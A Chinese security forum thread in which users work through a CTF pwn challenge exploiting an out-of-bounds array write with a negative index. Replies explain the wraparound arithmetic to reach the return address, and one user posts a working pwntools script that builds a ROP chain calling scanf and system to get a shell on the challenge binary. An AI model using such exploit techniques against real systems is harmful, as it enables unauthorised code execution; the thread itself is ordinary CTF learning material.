首页
社区
课程
招聘
[求助]一道数组越界的pwn题
2018-6-18 10:49 3838

[求助]一道数组越界的pwn题

2018-6-18 10:49
3838
一道数组越界的pwn题,实在不清楚该怎么去写了,知道能写负数,写了负数应该是上溢,上溢不应该是没有办法去改变ret地址了吗
求师傅请教。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 204
活跃值: (906)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
mratlatsn 10 2018-6-18 11:20
2
0
有个乘以8
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-18 11:28
3
0
jackandkx 有个乘以8
这个我知道,乘以8那段是$rbp+$rax*8-0x60这一段吧,这一段是数组的存储地址吧,我写上-1的时候确实是在第一个数组段的上一段栈空间,我想知道这样怎么能够去改变在栈上后面的ret地址呢?怎样写入index才能变正数又能保证越过数组的栈段空间呢?
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2018-6-18 11:37
4
0

mov [rbp+rax*8+s], rdx
返回地址在s+0x68处
所以便是要找到rax,使得
(rbp+rax*8+s) % 0x10000000000000000==(rbp+s+0x68)
这个mod很关键,主要就是利用负数可以“往前走一圈走回来走到后面的返回地址这种感觉”
所以rax=0x40000000000000068/8=0x800000000000000d
用4是因为这样才能让他为负,所以转换一下就是-9223372036854775795
然后其他的就同理了。。。不说了。。。
一共10次任意写,完全够用了。。。

雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-18 12:05
5
0
holing `mov [rbp+rax*8+s], rdx` 返回地址在s\+0x68处 所以便是要找到rax,使得 `(rbp+rax*8+s) % 0x10000000000000000==(r ...
懂了!谢谢dalao!
雪    币: 204
活跃值: (906)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
mratlatsn 10 2018-6-18 20:39
6
0
这个shell怎么给的是system("id")..
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-18 21:41
7
0
jackandkx 这个shell怎么给的是system("id")..
所以要自己写入'/bin/sh'呀
雪    币: 204
活跃值: (906)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
mratlatsn 10 2018-6-18 21:48
8
0
发个exp让我学习下可好
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-19 15:08
9
0
from pwn import *

p = process('./pwn1')
elf = ELF('pwn1')

p.recvuntil('name:\n')
p.sendline('cyc')
system_addr = elf.symbols['system']
bss_addr = elf.bss()
scanf_addr = elf.symbols['__isoc99_scanf']
pop_rdi = 0x400a33
pop_rsi = 0x400a31  #pop rsi;pop r15;ret
ret_addr = 6917529027641081843  #0xa00000000000000d de fu shu
scanf_formot = 0x400AFC

#gdb.attach(p)
#1
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#2
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-1))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_formot))

#3
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-2))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rsi))

#4
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-3))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#5
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-4))
p.recvuntil('age:\n')
p.sendline('%s' % (0x1))

#6
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-5))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_addr))

#7
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-6))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#8
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-7))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#9
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-8))
p.recvuntil('age:\n')
p.sendline('%s' % (system_addr))

#10
p.recvuntil('index:\n')
p.sendline('0')
p.recvuntil('age:\n')
p.sendline('0')

p.sendline('/bin/sh')

p.interactive()
最后于 2018-6-19 15:10 被V1NKe编辑 ,原因:
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-19 15:09
10
0
代码有点糙哈
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-6-19 15:11
11
0
jackandkx 发个exp让我学习下可好[em_12]
发了  代码有点糙  别介意哈哈哈
雪    币: 204
活跃值: (906)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
mratlatsn 10 2018-6-19 15:25
12
0
测试可用
没想到是要rop调scanf,学习了。
多谢
游客
登录 | 注册 方可回帖
返回